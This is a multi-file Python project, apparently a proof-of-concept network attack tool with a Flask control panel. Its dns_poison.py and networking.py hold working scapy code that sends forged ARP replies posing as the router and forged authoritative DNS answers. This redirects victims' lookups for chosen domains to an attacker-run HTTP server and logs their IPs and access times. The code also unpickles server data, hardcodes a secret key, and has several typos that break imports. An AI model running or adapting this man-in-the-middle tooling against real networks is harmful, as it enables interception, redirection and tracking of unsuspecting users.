

src - app.py

```
import os
import signal
import Jinja2
from typing import Tuple, Union
from flask import Flask, render_template, request, redirect,
url_for, session, flash
from socket_wrapper import Client

class ClientManager:
    """Client manager class that handles Flask web application and
    socket communication."""

    def __init__(self) -> None:
        """
        Input: self (ClientManager) - instance of the ClientManager
        class
        Output: None
        Purpose: Initialize the Flask application and establish
        connection with the socket server
        Description: Sets up Flask app with templates, creates
        socket connection, and starts the server
        """
        self.app = Flask(__name__,
            template_folder=os.path.abspath(os.path.join(os.path.dirname(
                __file__), '..', 'ui')))
        self.app.secret_key = "your-secret-key"
        self._setup_routes()
        ip, port = "127.0.0.1", 12344

        self.client = Client(ip, port) # Connects to socket server
        self.client.send_by_size(self.client.client_hello())
        self.client.recv_by_size()

        self.app.run(debug=True, use_reloader=False)

    def _setup_routes(self) -> None:
        """
        Input: self (ClientManager) - instance of the ClientManager
        class
        Output: None
        Purpose: Register all Flask routes with corresponding class
        methods
        Description: Maps URL routes to their handling methods and
        sets up Jinja filters
        """
        self.app.route('/start_menu')(self.start_menu)
        self.app.route('/login', methods=['GET', 'POST'])(self.login)
        self.app.route('/', methods=['GET', 'POST'])(self.login)
        self.app.route('/signup', methods=['GET', 'POST'])(self.signup)
        self.app.route('/main_menu')(self.main_menu)
        self.app.route('/add_url', methods=['GET',
            'POST'])(self.add_url)
        self.app.route('/remove_url', methods=['GET',
```

src - app.py

```
'POST'])(self.remove_url)
self.app.route('/get_real_url', methods=['GET',
'POST'])(self.get_real_url)
self.app.route('/req_info', methods=['GET',
'POST'])(self.req_info)

self.app.jinja_env.filters['nl2br'] = self._nl2br_filter

def exit(self) -> Tuple[str, int]:
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: tuple(str, int) - empty string and status code 204
    Purpose: Handle application exit gracefully
    Description: Performs cleanup and terminates the
    application process
    """
    self.cleanup()
    os.kill(os.getpid(), signal.SIGINT)
    return '', 204

def cleanup(self) -> None:
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: None
    Purpose: Clean up resources before application exit
    Description: Performs necessary cleanup operations for the
    client
    """
    print("Exiting client")
    self.client.cleanup()

def start_menu(self) -> str:
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template
    Purpose: Display the main menu interface
    Description: Renders the menu template where users can
    add/remove URLs or request info
    """
    return render_template('menu.html')

def login(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Handle user login functionality
    Description: Processes login form submission, communicates
    with server for authentication,
                and manages user session
```

src - app.py

```
"""
if request.method == 'POST':
    username = request.form['username']
    password = request.form['password']

    # Send login request
    data = self.client.login(username=username,
                             password=password)
    self.client.send_by_size(data)

    # Receive and parse the server response
    response = self.client.recv_by_size()
    if response == b'':
        self.exit()

    to_flash, category = self.client.parse(response)

    flash(to_flash, category)
    if category.lower() == "error":
        return redirect(url_for('login'))
    else:
        return redirect(url_for("main_menu"))

return render_template('login.html')

def signup(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Handle user registration
    Description: Validates signup form data, communicates with
    server for registration,
                 and manages response handling
    """
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        cpassword = request.form['cpassword']

        # Ensure passwords match
        if password != cpassword:
            flash('Passwords do not match. Please try again.',
                  'error')
            return redirect(url_for('signup'))

        # Send signup request
        data = self.client.sign_up(username=username,
                                    password=password, cpassword=cpassword)
        self.client.send_by_size(data)

        # Receive and parse the server response
        response = self.client.recv_by_size()
```

src - app.py

```
        if response == b'': # Server disconnected
            self.exit()

        to_flash, category = self.client.parse(response)

        flash(to_flash, category)
        if category.lower() == "error":
            return redirect(url_for('signup'))
        else:
            flash("Please Log In")
            return redirect(url_for("login"))

    return render_template('signup.html')

def main_menu(self) -> str:
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template
    Purpose: Display the main menu after successful login
    Description: Renders the main menu template with
    user-specific options
    """
    return render_template('main_menu.html')

def add_url(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Handle URL addition requests
    Description: Processes URL submission, communicates with
    server to add URL,
                and handles response
    """
    if request.method == 'POST':
        fake_url = request.form['url']

        # Send the add URL request
        data = self.client.add_url(fake_url)
        self.client.send_by_size(data)

        # Receive and parse the server response
        response = self.client.recv_by_size()
        if response == b'': # Server disconnected
            self.exit()

        to_flash, category = self.client.parse(response)

        flash(to_flash, category)
        return redirect(url_for('add_url'))

    return render_template('add_url.html')
```

```
def remove_url(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Handle URL removal requests
    Description: Processes URL removal submission, communicates
    with server to remove URL,
                 and handles response
    """
    if request.method == 'POST':
        fake_url = request.form['url']

        # Send the remove URL request
        data = self.client.remove_url(fake_url)
        self.client.send_by_size(data)

        # Receive and parse the server response
        response = self.client.recv_by_size()
        if response == b'': # Server disconnected
            self.exit()

        to_flash, category = self.client.parse(response)

        flash(to_flash, category)
        return redirect(url_for('remove_url'))

    return render_template('remove_url.html')


def get_real_url(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Retrieve the real URL for a given fake URL
    Description: Communicates with server to get the original
    URL corresponding to
                 a shortened/fake URL
    """
    if request.method == 'POST':
        fake_url = request.form['url']

        # Send the get real URL request
        data = self.client.get_real_url(fake_url)
        self.client.send_by_size(data)

        # Receive and parse the server response
        response = self.client.recv_by_size()
        if response == b'': # Server disconnected
            self.exit()

        to_flash, category = self.client.parse(response)
```

```

flash(to_flash, category)
return redirect(url_for('get_real_url'))

```

```

return render_template('get_real_url.html')

```

```

def req_info(self):
    """
    Input: self (ClientManager) - instance of the ClientManager
    class
    Output: str - rendered HTML template or redirect response
    Purpose: Request information about a specific URL
    Description: Communicates with server to get information
    about a specific URL entry
    """
    if request.method == 'POST':
        fake_url = request.form['url']

        # Send the request info request
        data = self.client.req_info(fake_url)
        self.client.send_by_size(data)

        # Receive and parse the server response
        response = self.client.recv_by_size()
        if response == b'': # Server disconnected
            self.exit()

        to_flash, category = self.client.parse(response)

        flash(to_flash, category)
        return redirect(url_for('req_info'))

    return render_template('req_info.html')

```

```

@staticmethod
def _nl2br_filter(text: str) -> str:
    """
    Input: text (str) - text to process
    Output: str - processed text with newlines converted to
    HTML breaks
    Purpose: Convert newlines to HTML break tags
    Description: Jinja2 filter that replaces newline characters
    with HTML <br> tags
    """
    if text:
        return
        jinja2.utils.markupsafe.Markup(text.replace('\n',
            '<br>')) # type: ignore
    return ""

```

```

if __name__ == '__main__':
    ClientManager()

```

src - cli_mapper.py

```
import json

from threading import Lock
from typing import Dict, Optional

SERVER_IP = "10.68.121.52"

class ClientMapper:
    """Class for mapping client IPs to their requested domains with
    thread-safe operations."""

    def __init__(self) -> None:
        """
        Input: None
        Output: None
        Purpose: Initialize the client mapper
        Description: Creates an empty map and initializes thread
        lock for synchronization
        """
        self.__map: Dict[str, str] = {}
        self.__lock = Lock()

    def add_client(self, ip: str, domain: str) -> None:
        """
        Input: ip (str) - Client IP address, domain (str) - Domain
        requested by client
        Output: None
        Purpose: Add or update client mapping
        Description: Maps a client IP to their requested domain in
        a thread-safe manner
        """
        self.get_map()
        with self.__lock:
            self.__map[ip] = domain
        self.save_map()

    def get_domain(self, ip: str) -> str:
        """
        Input: ip (str) - Client IP address to look up
        Output: str - Domain associated with the IP
        Purpose: Retrieve and remove domain mapping for an IP
        Description: Gets and removes the domain mapping for a
        client IP, returning default if not found
        """
        self.get_map()
        if ip == "127.0.0.1":
            ip = SERVER_IP
        with self.__lock:
            to_return = self.__map.pop(ip, "www.default.com")
        self.save_map()
        return to_return

    def get_map(self) -> None:
```

src - cli_mapper.py

```
"""
Input: None
Output: None
Purpose: Load client mappings from file
Description: Attempts to load the IP-domain mappings from
map.json, creates empty map if file not found
"""
with self.__lock:
    try:
        with open('map.json', 'r') as f:
            self.__map = json.load(f)
    except (json.JSONDecodeError, FileNotFoundError):
        self.__map = {}

def save_map(self) -> None:
    """
    Input: None
    Output: None
    Purpose: Save client mappings to file
    Description: Saves the current IP-domain mappings to
    map.json in a thread-safe manner
    """
    with self.__lock:
        with open('map.json', 'w') as f:
            json.dump(self.__map, f)
```


src/data - data_helper.py

```
import json
import os

from typing import Dict, List, Optional, TypedDict

# Type definitions for better type checking

# Type aliases for better readability
DataDict = Dict[str, List[Dict[str, str]]]

data_file_path = os.path.join(os.path.dirname(__file__), "data.json")

def get_data() -> DataDict:
    """
    Input: None
    Output: DataDict - Dictionary containing the application's data
    structure
    Purpose: Read and return data from the JSON data file
    Description: Opens and loads the JSON data file into a
    dictionary structure
    """
    with open(data_file_path, 'r') as f:
        return json.loads(f.read())

def save_data(data: DataDict) -> None:
    """
    Input: data (DataDict) - dictionary containing the data to save
    Output: None
    Purpose: Save data to the JSON data file
    Description: Writes the provided data dictionary to the JSON file
    """
    with open(data_file_path, 'w') as f:
        json.dump(data, f)

def record_entry(fake_url: str, packet_dict: Dict[str, str]) -> None:
    """
    Input: fake_url (str) - the shortened/fake URL, packet_dict
    (PacketData) - dictionary containing request information
    Output: None
    Purpose: Record a new access entry for a fake URL
    Description: Adds or updates access information for a given
    fake URL in the data store
    """
    data = get_data()

    if fake_url in data:
        data[fake_url].append(packet_dict)
    else:
        data[fake_url] = [packet_dict]

    save_data(data)

def fetch_stats(fake_url: str) -> Optional[List[Dict[str, str]]]:
```

src/data - data_helper.py

```
"""
```

```
Input: fake_url (str) - the shortened/fake URL to get statistics for  
Output: List[Dict[str,str]] or None - list of recorded entries  
for the URL if found, None if not found  
Purpose: Retrieve access statistics for a specific fake URL  
Description: Fetches all recorded access entries for the given  
fake URL from the data store
```

```
"""
```

```
data = get_data()
```

```
try:
```

```
    to_return = data[fake_url]
```

```
except KeyError:
```

```
    to_return = None
```

```
return to_return
```

src - dns_poison.py

```
import json
import time

from pathlib import Path
from typing import Dict, TypedDict, Any
from scapy.layers.dns import DNS
from scapy.all import * # type: ignore

from data.data_helper import record_entry
from cli_mapper import ClientMapper

class UrlMapType(TypedDict):
    """Type definition for URL mapping dictionary."""
    Fake: str
    Real: str

def load_urls() -> Dict[str, str]:
    """
    Input: None
    Output: Dict[str, str] - Dictionary mapping fake URLs to real URLs
    Purpose: Load URL mappings from configuration file
    Description: Attempts to load URL mappings from urls.json,
    falls back to default values if file not found
    """
    try:
        with open('urls.json', 'r') as file:
            return json.load(file)
    except Exception as e:
        return {
            'www.techinginfo.com': 'www.chess.com',
            'www.shopconvet.com': 'www.ynet.co.il'
        }

# Configuration
URLS = load_urls()
SPOOF_IP = "127.0.0.1" # IP to redirect to (localhost for PoC)
MAPPER = ClientMapper()

def dns_spoof(pkt: Any) -> None:
    """
    Input: pkt (Any) - Captured network packet
    Output: None
    Purpose: Handle DNS spoofing for specific domain requests
    Description: Analyzes DNS queries and sends spoofed responses
    for targeted domains,
    recording the attempt and mapping client information
    """
    # Check if packet is a DNS query
    if pkt.haslayer(DNSQR) and pkt[DNS].qr == 0: # type: ignore
        qname = pkt[DNSQR].qname.decode().rstrip(".") # type: ignore
        if qname in URLS.keys():
            srcip = pkt[IP].src # type: ignore
```

src - dns_poison.py

```
# Craft spoofed DNS response
spoofed_pkt = (
    IP(dst=pkt[IP].src, src=pkt[IP].dst) / # type: ignore
    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /
    # type: ignore
    DNS( # type: ignore
        id=pkt[DNS].id, # Match query ID
        qr=1,          # Response flag
        aa=1,          # Authoritative answer
        qd=pkt[DNS].qd, # Copy query section
        an=DNSRR(rrname=qname, type="A", ttl=300,
            rdata=SPOOF_IP) # type: ignore
    )
)

# Send spoofed response
for _ in range(5):
    sendp(spoofed_pkt, verbose=0)
    time.sleep(0.1)
print(f"Spoofed DNS response sent: {qname} -> {SPOOF_IP}")
record_entry(qname, build_dict_from_packet(pkt))
MAPPER.add_client(srcip, URLs[qname]) # type: ignore
```

```
def build_dict_from_packet(pkt: Any) -> Dict[str, str]:
    """
    Input: pkt (Any) - Network packet to extract information from
    Output: Dict[str, str] - Dictionary containing packet information
    Purpose: Extract relevant information from packet
    Description: Creates a dictionary with source IP and timestamp
    from the packet
    """
    return {
        "IP": pkt[IP].src, # type: ignore
        "Time": time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())
    }
```

```
if __name__ == "__main__":
    # Sniff DNS packets
    print(f"Sniffing DNS queries for {URLS}...")
    sniff(filter="udp port 53", prn=dns_spoof, store=0)
```

src - http_helper.py

```
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Dict, Optional, Tuple, Union, cast

from cli_mapper import ClientMapper

MAPPER = ClientMapper()

class RedirectHandler(BaseHTTPRequestHandler):
    """HTTP request handler for redirecting requests to specified domains."""

    def do_GET(self) -> None:
        """
        Input: None
        Output: None
        Purpose: Handle GET requests and perform redirections
        Description: Retrieves target domain for client IP and
        sends redirect response
        """
        # Get the website parameter, default to google if not provided
        client_ip = cast(Tuple[str, int], self.client_address)[0]
        website = MAPPER.get_domain(client_ip)

        # Add https:// if not present
        if not website.startswith('http://') and not
            website.startswith('https://'):
            website = 'https://' + website

        print(f"Redirecting to: {website}")

        # Send redirect response
        self.send_response(302)
        self.send_header('Location', website)
        self.end_headers()

    def do_POST(self) -> None:
        """
        Input: None
        Output: None
        Purpose: Handle POST requests
        Description: Delegates POST request handling to GET handler
        """
        # Handle POST requests the same way
        self.do_GET()

def run_http_server(port: int = 80) -> None:
    """
    Input: port (int) - Port number to listen on, defaults to 80
    Output: None
    Purpose: Start HTTP server
    Description: Creates and runs HTTP server on specified port
    with redirect handler
    """
```

src - http_helper.py

```
"""
server_address = ('', port)
httpd = HTTPServer(server_address, RedirectHandler)
httpd.serve_forever()

if __name__ == '__main__':
    print(f"HTTP server running on port {80}...")
    run_http_server()
```

src - networking.py

```
from typing import Dict, Optional, Any, TypedDict
import json
import time
from random import randint

from scapy.all import DNS, IP, srl, send, sniff, srp, Packet, conf
# type: ignore
from scapy.layers.l2 import ARP, Ether # type: ignore
from scapy.layers.inet import UDP # type: ignore
from scapy.layers.dns import DNS, DNSQR, DNSRR # type: ignore

from data.data_helper import record_entry

class PacketData(TypedDict):
    Time: str
    IP: str

# Configure scapy
conf.noenum.add(conf.route.resync)
conf.use_pcap = True
conf.use_dnet = False # type: ignore
conf.netcache.resolve = False # type: ignore

class Spoofer:
    """Class for handling network packet spoofing and manipulation."""

    def __init__(self, host_ip: str, target_ip: str, router_ip:
str) -> None:
        """
        Input: host_ip (str) - Host machine IP, target_ip (str) -
        Target machine IP,
               router_ip (str) - Router IP address
        Output: None
        Purpose: Initialize spoofer with network addresses
        Description: Sets up spoofer with necessary IP addresses
        and target MAC address
        """
        self.__ip = host_ip
        self.__target_ip = target_ip
        self.__router_ip = router_ip
        self.__target_mac = "1e:00:da:26:fe:10 "
        self.urls: Dict[str, str] = {}

    def checkout(self):
        pass

    def send_spoofed_packet(self) -> None:
        """
        Input: None
        Output: None
        Purpose: Send spoofed ARP packet
        Description: Creates and sends ARP packet pretending to be
        the router
        """
```

src - networking.py

```
"""
packet = ARP(op=2,
             hwdst=self.__target_mac,
             pdst=self.__target_ip,
             psrc=self.__router_ip)
send(packet, verbose=False)

def restore_defaults(self, dest: str, source: str) -> None:
    """
    Input: dest (str) - Destination IP, source (str) - Source IP
    Output: None
    Purpose: Restore original ARP mappings
    Description: Sends ARP packets to restore original network
    configuration
    """
    target_mac = self.get_mac(dest)
    source_mac = self.get_mac(source)
    packet = ARP(op=2, pdst=dest, hwdst=target_mac,
                psrc=source, hwsrc=source_mac)
    send(packet, verbose=False)

def get_mac(self, ip: str) -> str:
    """
    Input: ip (str) - IP address to lookup
    Output: str - MAC address of the IP
    Purpose: Get MAC address for IP
    Description: Uses ARP to discover MAC address of given IP
    address
    """
    final_packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
    answer = srp(final_packet, timeout=2, verbose=False)[0]
    mac = answer[0][1].hwsrc
    return mac

def process_packet(self, packet: Any) -> None:
    """
    Input: packet (Any) - Network packet to process
    Output: None
    Purpose: Process DNS queries
    Description: Handles DNS queries, providing spoofed
    responses for specific domains
    """
    if packet.haslayer(DNSQR) and packet[DNS].qr == 0:
        domain = packet[DNSQR].qname.decode().rstrip(".")
        if domain == "www.google.com":
            print(f"Intercepted DNS query for {domain}")

            response_packet = (
                IP(dst=packet[IP].src, src=packet[IP].dst) /
                UDP(dport=packet[UDP].sport,
                   sport=packet[UDP].dport) /
                DNS(
                    id=packet[DNS].id,
```


src - networking.py

```
        qr=1,
        aa=1,
        qd=packet[DNS].qd,
        an=DNSRR(rrname=domain, type="A", ttl=300,
        rdata=self.__ip)
    )
)

send(response_packet, verbose=0)
record_entry(domain,
self.build_dict_from_packet(packet))
print(f"Spoofer DNS response sent: {domain} ->
{self.__ip}")
else:
    response_packet = self.nslookup(domain)
    response_packet[IP].src, response_packet[IP].dst =
    packet[IP].dst, packet[IP].src
    send(response_packet, verbose=0) # type: ignore

def forward_to_router(self) -> None:
    """
    Input: None
    Output: None
    Purpose: Perform MITM attack
    Description: Sniffs and processes network packets during
    MITM attack
    """
    while True:
        sniff(filter="udp port 53", prn=self.process_packet,
        promisc=True, store=0, timeout=4)
        self.urls = self.get_urls()

def build_dict_from_packet(self, packet: Any) -> Dict[str, str]:
    """
    Input: packet (Any) - Network packet to extract data from
    Output: PacketData - Dictionary containing packet information
    Purpose: Extract information from packet
    Description: Creates dictionary with timestamp and source
    IP from packet
    """
    return {
        "Time": str(time.time()),
        "IP": packet[IP].src
    }

def get_urls(self) -> Dict[str, str]:
    """
    Input: None
    Output: Dict[str, str] - Dictionary of URL mappings
    Purpose: Load URL mappings
    Description: Loads URL mappings from urls.json file
    """
    try:
```

src - networking.py

```
        with open('urls.json', "r") as f:
            urls: Dict[str, str] = json.load(f)
    except (json.JSONDecodeError, FileNotFoundError):
        urls = {}
    return urls

def nslookup(self, domain: str) -> Packet:
    """
    Input: domain (str) - Domain name to lookup
    Output: Packet - DNS response packet
    Purpose: Perform DNS lookup
    Description: Sends DNS query and returns response packet
    """
    dns_query = (
        IP(dst="8.8.8.8") /
        UDP(dport=53, sport=randint(20000, 40000)) /
        DNS(qdcount=1, rd=1, qd=0) /
        DNSQR(qname=domain)
    )
    response_packet = sr1(dns_query, verbose=0)
    return response_packet # type: ignore
```

src - server.py

```
import subprocess
import time
import traceback

from pathlib import Path
from typing import List, Optional
from socket_wrapper import Server

process_list: List[subprocess.Popen] = []

def start_processes(host_ip: str, target_ip: str, router_ip: str)
-> None:
    """
    Input: host_ip (str) - Host IP address, target_ip (str) -
    Target IP address,
           router_ip (str) - Router IP address
    Output: None
    Purpose: Start background processes for network operations
    Description: Launches HTTP server and DNS poisoning processes,
    maintaining their references
                in a global list
    """
    global process_list

    http_process = subprocess.Popen(["python", "src/http_helper.py"])
    dns_process = subprocess.Popen(["python", "src/dns_poison.py"])
    #arp_process = subprocess.Popen(["python", "arp_spoof.py"])
    process_list = [http_process, dns_process]

def kill_processes() -> None:
    """
    Input: None
    Output: None
    Purpose: Stop all background processes
    Description: Terminates all running background processes
    gracefully with error handling
    """
    print("Killing processes....")
    for p in process_list:
        try:
            p.terminate()
            time.sleep(0.1)
            print("Process killed")
        except Exception as e:
            print("couldn't kill process" + str(p))
            print(str(e))

def main() -> None:
    """
    Input: None
    Output: None
    Purpose: Main server execution function
    Description: Initializes and runs the server, handling client
```

src - server.py

connections and cleanup operations

"""

host_ip, kid_ip, router_ip = "127.0.0.1", "127.0.0.1", "127.0.0.1"

start_processes(host_ip, kid_ip, router_ip)

server: Optional[Server] = None

try:

print("Binded server, waiting.....")

server = Server(host_ip, 12344) # IP, Port

while True:

from_client: bytes = server.recv_by_size()

if not from_client:

break

to_send = server.parse(from_client)

server.send_by_size(to_send)

except Exception as err:

print(f'General error: {err}')

print(traceback.format_exc())

finally:

try:

if server is not None:

server.cleanup()

except:

pass

kill_processes()

if __name__ == "__main__":

main()

src/socket_wrapper - __init__.py

```
from .server import Server
from .client import Client

__all__ = ["Server", "Client"]
```

src/socket_wrapper - client.py

```
import pickle

from typing import Dict, List, Tuple, Any, TypedDict
from socket_wrapper.network_wrapper import NetworkWrapper

class PacketData(TypedDict):
    IP: str
    Time: str

class Client(NetworkWrapper):
    """Client class that handles socket communication with the
    server."""

    def __init__(self, ip: str, port: int) -> None:
        """
        Input: ip (str) - server IP address, port (int) - server
        port number
        Output: None
        Purpose: Initialize client socket and connect to server
        Description: Creates a socket connection to the specified
        server IP and port
        """
        super().__init__()
        self.__ip = ip
        self.__port = port

        self._serv_sock.connect((self.__ip, self.__port))

    def recv_by_size(self) -> bytes: # type: ignore
        """
        Input: None
        Output: bytes - received data from server
        Purpose: Receive data from the server
        Description: Receives data from server using the parent
        class's receive method
        """
        return super().recv_by_size(self._serv_sock)

    def send_by_size(self, to_send: bytes) -> None: # type: ignore
        """
        Input: to_send (bytes) - data to send to server
        Output: None
        Purpose: Send data to the server
        Description: Sends data to server using the parent class's
        send method
        """
        return super().send_by_size(to_send, self._serv_sock)

    def parse(self, from_server: bytes) -> Tuple[str, str]:
        """
        Input: from_server (bytes) - message from server
        Output: tuple(str, str) - message to show user and message
        type (error/success)
```

src/socket_wrapper - client.py

```
Purpose: Parse server response messages
Description: Decodes and interprets server responses into
user-friendly messages
"""
fields = from_server.split(b'~')
code = fields[0]

if code == b'':
    return "", ""
elif code == b'ACK':
    return "Action was done successfully", "success"
elif code == b'STATS':
    data: List[PacketData] = pickle.loads(fields[1])
    fake_url = fields[2]
    real_url = fields[3]
    return self.format_data(data, fake_url.decode(),
        real_url.decode()), "success"
elif code == b'URL':
    return f"Url - {fields[1].decode()}", "success"
elif code == b'ERR':
    return f"Action failed - {fields[2].decode()}", "error"
else:
    raise Exception("Unknown code")

def client_hello(self) -> bytes:
    """
    Input: None
    Output: bytes - hello message
    Purpose: Create initial hello message
    Description: Returns the client's hello message for server
    handshake
    """
    return b'HELLO'

def cleanup(self) -> None:
    """
    Input: None
    Output: None
    Purpose: Clean up client resources
    Description: Closes the socket connection to the server
    """
    self._serv_sock.close()

def format_data(self, data: List[PacketData], fake: str, real:
str) -> str:
    """
    Input: data (list) - list of entries, fake (str) - fake
    URL, real (str) - real URL
    Output: str - formatted string containing the data
    Purpose: Format URL statistics data for display
    Description: Creates a human-readable string from the URL
    statistics data
    """
```

src/socket_wrapper - client.py

```
st = "Entries recorded for " + fake + f"({real})\n\n"
for i, d in enumerate(data):
    st += f"Entry No. {i}\n"
    for k, v in d.items():
        st += f" - - - - {k} : {v}\n"
    st += "\n"
return st

def sign_up(self, username: str, password: str, cpassword: str,
err: str = "") -> bytes:
    """
    Input: username (str) - user's username, password (str) -
    user's password,
           cpassword (str) - confirmation password, err (str) -
           error message
    Output: bytes - formatted signup request
    Purpose: Create signup request message
    Description: Formats and encodes a signup request for the server
    """
    return f"SIGN_UP~{username}~{password}~{cpassword}".encode()

def login(self, username: str, password: str, err: str = "") ->
bytes:
    """
    Input: username (str) - user's username, password (str) -
    user's password,
           err (str) - error message
    Output: bytes - formatted login request
    Purpose: Create login request message
    Description: Formats and encodes a login request for the server
    """
    return f"SIGN_IN~{username}~{password}".encode()

def add_url(self, url: str, err: str = "") -> bytes:
    """
    Input: url (str) - URL to add, err (str) - error message
    Output: bytes - formatted add URL request
    Purpose: Create URL addition request
    Description: Formats and encodes a request to add a new URL
    to the system
    """
    return f"ADD~{url}".encode()

def remove_url(self, fake_url: str, err: str = "") -> bytes:
    """
    Input: fake_url (str) - fake URL to remove, err (str) -
    error message
    Output: bytes - formatted remove URL request
    Purpose: Create URL removal request
    Description: Formats and encodes a request to remove a URL
    from the system
    """
    return f"DEL~{fake_url}".encode()
```


src/socket_wrapper - client.py

```
def get_real_url(self, fake_url: str, err: str = "") -> bytes:
    """
    Input: fake_url (str) - fake URL to look up, err (str) -
    error message
    Output: bytes - formatted get real URL request
    Purpose: Create request to get original URL
    Description: Formats and encodes a request to get the real
    URL for a fake URL
    """
    return f"GET~{fake_url}".encode()

def req_info(self, fake_url: str, err: str = "") -> bytes:
    """
    Input: fake_url (str) - fake URL to get info for, err (str)
    - error message
    Output: bytes - formatted request info request
    Purpose: Create request to get URL information
    Description: Formats and encodes a request to get
    statistics/info for a fake URL
    """
    return f"REQ~{fake_url}".encode()
```

src/socket_wrapper - network_wrapper.py

```
import socket

from typing import Optional, Union

class NetworkWrapper:
    """Base class for Server and Client with common networking
    functionality."""

    def __init__(self) -> None:
        """
        Input: None
        Output: None
        Purpose: Initialize network socket
        Description: Creates and configures a socket with address
        reuse enabled
        """
        self._serv_sock = socket.socket()
        self._serv_sock.setsockopt(socket.SOL_SOCKET,
        socket.SO_REUSEADDR, 1)

    def recv_by_size(self, sock: Optional[socket.socket] = None) ->
    bytes:
        """
        Input: sock (Optional[socket.socket]) - Socket to receive
        from, uses default if None
        Output: bytes - Received message without size fields or
        empty bytes if disconnected
        Purpose: Receive size-prefixed message from socket
        Description: Receives a message using size field to ensure
        complete message receipt,
                    handles disconnection and error cases
        """
        if sock is None:
            sock = self._serv_sock

        msg_size: bytes = b""
        while b"~" not in msg_size:
            chunk = sock.recv(1)
            if not chunk: # Client disconnected
                return b""
            msg_size += chunk

        size_in_bytes, msg = msg_size.split(b"~", 1)
        size = int(size_in_bytes.decode())

        while len(msg) != size:
            msg += sock.recv(128)

        print("Received >>>" + str(msg)[2:-1])
        return msg

    def send_by_size(self, to_send: bytes, sock:
    Optional[socket.socket] = None) -> None:
```

src/socket_wrapper - network_wrapper.py

```
"""
```

```
Input: to_send (bytes) - Data to send, sock  
(Optional[socket.socket]) - Socket to send through
```

```
Output: None
```

```
Purpose: Send size-prefixed message through socket
```

```
Description: Prepends message size to data and sends  
through specified socket
```

```
"""
```

```
if sock is None:
```

```
    sock = self._serv_sock
```

```
to_send = str(len(to_send)).encode() + b'~' + to_send
```

```
print(" Sending>>>> " + str(to_send)[2:-1])
```

```
sock.send(to_send)
```

src/socket_wrapper - server.py

```
import sys
import random
import string
import json
import os
import pickle

from socket import socket
from pathlib import Path
from functools import wraps
from typing import Any, Dict, List, Callable, Optional, TypeVar, cast

sys.path.append(os.path.abspath(os.path.join(__file__, "..", "..")))

from socket_wrapper.network_wrapper import NetworkWrapper
from users import Users
from data.data_helper import fetch_stats

T = TypeVar('T')
UrlDict = Dict[str, str]

def manage_urls(func: Callable[..., T]) -> Callable[..., T]:
    """
    Input: func (Callable) - Function to be decorated
    Output: Callable - Wrapped function with URL management
    Purpose: Decorator for URL management operations
    Description: Manages loading and saving of URLs file for URL
    operations
    """
    @wraps(func)
    def wrapper(self: Any, *args: Any, **kwargs: Any) -> T:
        try:
            with open(Server.urls_path, "r") as f:
                urls = json.load(f)
        except (json.JSONDecodeError, FileNotFoundError):
            urls = {}

        result = func(self, urls, *args, **kwargs)

        with open(Server.urls_path, "w") as f:
            json.dump(urls, f, indent=4)

        return result

    return wrapper

class Server(NetworkWrapper):
    """Server class for handling URL management and client requests."""

    urls_path = f"{Path(__file__).parent.parent.parent}/urls.json"

    def __init__(self, ip: str = "127.0.0.1", port: int = 0) -> None:
        """
```

src/socket_wrapper - server.py

```
Input: port (int) - Port number to bind to, defaults to 0
Output: None
Purpose: Initialize server socket and connection
Description: Sets up server socket, binds to specified port
and waits for client
"""
super().__init__()
self.__DEBUG = not bool(port)

self.__port = port
self.__ip = ip
self._serv_sock.bind((self.__ip, self.__port))
self._serv_sock.listen(100)
self._sock, addr = self._serv_sock.accept()

def recv_by_size(self) -> bytes: # type: ignore
    """
    Input: None
    Output: bytes - Received data from client
    Purpose: Receive data from connected client
    Description: Receives size-prefixed message from the client
    socket
    """
    return super().recv_by_size(self._sock)

def send_by_size(self, to_send: bytes) -> None: # type: ignore
    """
    Input: to_send (bytes) - Data to send to client
    Output: None
    Purpose: Send data to connected client
    Description: Sends size-prefixed message through the client
    socket
    """
    return super().send_by_size(to_send, self._sock)

def parse(self, data: bytes) -> bytes:
    """
    Input: data (bytes) - Raw data received from client
    Output: bytes - Response to send back to client
    Purpose: Parse and handle client requests
    Description: Interprets client commands and calls
    appropriate handlers
    """
    fields: List[bytes] = data.split(b"~")
    code: bytes = fields[0]
    if code == b'DEL':
        result = self.remove_url(fields[1])
    elif code == b'GET':
        result = self.get_real_url(fields[1])
    elif code == b'ADD':
        result = self.add_url(fields[1])
    elif code == b'HELLO':
        result = self.server_hello()
```

src/socket_wrapper - server.py

```
elif code == b'REQ':
    result = self.show_stats(fields[1])
elif code == b'SIGN_UP':
    result = Users.sign_up(*[field.decode() for field in
        fields[1:]], Users.create_salt())
elif code == b'SIGN_IN':
    result = Users.check_sign_in(*[field.decode() for field
        in fields[1:]])
else:
    result = b'ERR~255'
return result

def server_hello(self) -> bytes:
    """
    Input: None
    Output: bytes - Acknowledgment message
    Purpose: Handle initial client greeting
    Description: Returns acknowledgment for client hello message
    """
    return b'ACK'

def show_stats(self, fake_url: bytes) -> bytes:
    """
    Input: fake_url (bytes) - URL to get statistics for
    Output: bytes - Formatted statistics response
    Purpose: Retrieve access statistics for URL
    Description: Fetches and formats URL access statistics
    """
    d = fetch_stats(fake_url.decode())
    if d is None: # url doesn't exist
        return b'ERR~4~Url Not Found'
    real_url = self.retrieve_url(fake_url)
    return b'STATS~' + pickle.dumps(d) + b'~' + fake_url + b'~'
    + real_url.encode()

def cleanup(self) -> None:
    """
    Input: None
    Output: None
    Purpose: Clean up server resources
    Description: Closes the client socket connection
    """
    self._sock.close()

@manage_urls
